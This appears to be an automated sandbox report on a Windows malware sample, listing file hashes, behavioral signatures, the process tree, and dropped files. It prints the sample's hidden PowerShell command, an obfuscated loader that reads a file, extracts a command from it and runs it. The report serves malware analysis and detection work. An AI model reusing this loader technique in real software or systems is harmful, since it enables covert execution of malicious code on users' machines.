Analysis
-
max time kernel
117s -
max time network
118s -
platform
windows7_x64 -
resource
win7-20231129-en -
resource tags
arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system -
submitted
26-04-2024 01:16
Static task
static1
Behavioral task
behavioral1
Sample
6b2874507fc8b7782d11f202840850ba6edd8befbb8c163c4d53775fb8d20603.exe
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
6b2874507fc8b7782d11f202840850ba6edd8befbb8c163c4d53775fb8d20603.exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral3
Sample
$PLUGINSDIR/nsExec.dll
Resource
win7-20240221-en
Behavioral task
behavioral4
Sample
$PLUGINSDIR/nsExec.dll
Resource
win10v2004-20240226-en
General
-
Target
6b2874507fc8b7782d11f202840850ba6edd8befbb8c163c4d53775fb8d20603.exe
-
Size
549KB
-
MD5
4621fea50e1982e6f753efe7d1be2b35
-
SHA1
46072b07bfa96583ed03149a04411cbcf04eadf9
-
SHA256
6b2874507fc8b7782d11f202840850ba6edd8befbb8c163c4d53775fb8d20603
-
SHA512
301e380d9e207caa7e994b251e2018207851a32f0c1850b3de669742c9d640d5254640d972e0143bc99e8cb2e3728bb7878814e66498928ff777d26c9bd206f5
-
SSDEEP
12288:8stfWr2zXogHMSwOdJ1JUTrNuVwik2Mx/DvMAM++:8st+r2zXZ/dJyrNuuik2yDc++
Malware Config
Signatures
-
Loads dropped DLL 1 IoCs
Processes:
6b2874507fc8b7782d11f202840850ba6edd8befbb8c163c4d53775fb8d20603.exepid process 1044 6b2874507fc8b7782d11f202840850ba6edd8befbb8c163c4d53775fb8d20603.exe -
Drops file in System32 directory 1 IoCs
Processes:
6b2874507fc8b7782d11f202840850ba6edd8befbb8c163c4d53775fb8d20603.exedescription ioc process File created C:\Windows\SysWOW64\psiloses.lnk 6b2874507fc8b7782d11f202840850ba6edd8befbb8c163c4d53775fb8d20603.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 3048 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 3048 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
6b2874507fc8b7782d11f202840850ba6edd8befbb8c163c4d53775fb8d20603.exedescription pid process target process PID 1044 wrote to memory of 3048 1044 6b2874507fc8b7782d11f202840850ba6edd8befbb8c163c4d53775fb8d20603.exe powershell.exe PID 1044 wrote to memory of 3048 1044 6b2874507fc8b7782d11f202840850ba6edd8befbb8c163c4d53775fb8d20603.exe powershell.exe PID 1044 wrote to memory of 3048 1044 6b2874507fc8b7782d11f202840850ba6edd8befbb8c163c4d53775fb8d20603.exe powershell.exe PID 1044 wrote to memory of 3048 1044 6b2874507fc8b7782d11f202840850ba6edd8befbb8c163c4d53775fb8d20603.exe powershell.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\6b2874507fc8b7782d11f202840850ba6edd8befbb8c163c4d53775fb8d20603.exe"C:\Users\Admin\AppData\Local\Temp\6b2874507fc8b7782d11f202840850ba6edd8befbb8c163c4d53775fb8d20603.exe"1⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Indeterminative=Get-Content 'C:\Users\Admin\AppData\Local\Temp\Moviedom230\Enforcedly251\Afvrgningernes.Ign37';$Introducerer=$Indeterminative.SubString(18884,3);.$Introducerer($Indeterminative)"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
\Users\Admin\AppData\Local\Temp\nsdD0C.tmp\nsExec.dllFilesize
6KB
MD55aa38904acdcc21a2fb8a1d30a72d92f
SHA1a9ce7d1456698921791db91347dba0489918d70c
SHA25610675f13abaee592f14382349aa35d82fb52aab4e27eef61d0c83dec1f6b73da
SHA512f04740da561d7cd0dea5e839c9e1c339d4a3e63944d3566c94c921a3d170a69918a32dff3f3b43f13d55cc25a2dbb4c21104f062c324308ac5104179766402a3
-
memory/3048-13-0x0000000074010000-0x00000000745BB000-memory.dmpFilesize
5.7MB
-
memory/3048-15-0x0000000002C50000-0x0000000002C90000-memory.dmpFilesize
256KB
-
memory/3048-14-0x0000000074010000-0x00000000745BB000-memory.dmpFilesize
5.7MB
-
memory/3048-16-0x0000000002C50000-0x0000000002C90000-memory.dmpFilesize
256KB
-
memory/3048-17-0x0000000074010000-0x00000000745BB000-memory.dmpFilesize
5.7MB